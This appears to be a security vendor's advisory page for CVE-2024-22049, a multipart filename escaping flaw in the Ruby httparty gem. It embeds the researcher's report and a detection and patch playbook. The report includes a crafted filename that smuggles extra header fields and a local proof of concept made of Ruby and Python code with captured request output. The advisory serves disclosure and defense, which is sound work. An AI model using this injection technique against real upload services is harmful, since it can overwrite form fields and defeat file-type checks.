CVE-2024-22049 is a medium-severity (CVSS 5.3) CWE-472 vulnerability in httparty. 3 public exploit references exist, so weaponization risk is real. A fix is available for httparty — see the affected versions and patch details below.
httparty Multipart/Form-Data Request Tampering Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-22049.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-22049 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
httpartyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Impact
I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.
httparty/lib/httparty/request > body.rb > def generate_multipart
By exploiting this problem, the following attacks are possible
- An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
- Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename
For example, this vulnerability can be exploited to generate the following Content-Disposition.
Normal Request example: normal input filename:
abc.txtgenerated normal header in multipart/form-data
Content-Disposition: form-data; name="avatar"; filename="abc.txt"
Malicious Request example malicious input filename:
overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txtgenerated malicious header in multipart/form-data:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .
These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks
- Spring (Java)
- Ktor (Kotlin)
- Ruby on Rails (Ruby)
The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.
WhatWG's HTML spec has an escaping requirement.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence
%0A, 0x0D (CR) with%0Dand 0x22 (") with%22. The user agent must not perform any other escapes.
Patches
As noted at the beginning of this section, encoding must be done as described in the HTML Spec.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence
%0A, 0x0D (CR) with%0Dand 0x22 (") with%22. The user agent must not perform any other escapes.
Therefore, it is recommended that Content-Disposition be modified by either of the following
Before:
Content-Disposition: attachment;filename="malicious.sh";dummy=.txt
After:
Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"
file_name.gsub('"', '%22')
Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK.
However, since there may be omissions, it is safer to URL encode these as well, if possible.
( \r to %0A and \d to %0D )
PoC
PoC Environment
OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server)
PoC procedure
(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)
- Create Project
$ mkdir my-app
$ cd my-app
$ gem install httparty
- Create malicious file
$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
- Generate Vuln code
$ vi example.rb
require 'httparty'
filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
HTTParty.post('http://localhost:12345/',
body: {
name: 'Foo Bar',
email: '[email protected]',
avatar: File.open(filename)
}
)
- Run Logging Server
I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)
$ vi logging.py
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
class LoggingServer(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.end_headers()
self.wfile.write("ok".encode("utf-8"))
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
ip = '127.0.0.1'
port = 12345
server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()
$ python logging.py
- Run & Logging server
$ run example.rb
Return Request Header & Body:
User-Agent: Ruby Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz Connection: close Host: localhost:12345 Content-Length: 457
--------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="name"
Foo Bar --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="email"
[email protected] --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" Content-Type: text/plain
abc --------------------------F857UcxRc2J1zFOz--
Content-Disposition:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
- name fields is duplicate (avator & foo)
- filename & extension tampering ( .txt --> .sh )
References
-
I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/show_bug.cgi?id=1556711
-
I will post some examples of frameworks that did not have problems as reference.
For more information
If you have any questions or comments about this advisory:
- Email us at [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | httparty | all versions | 0.21.0bundle update httparty --conservative |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for httparty, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update httparty to 0.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-22049 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-22049 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-22049. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-22049 in your dependencies?
O3 Security finds CVE-2024-22049 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.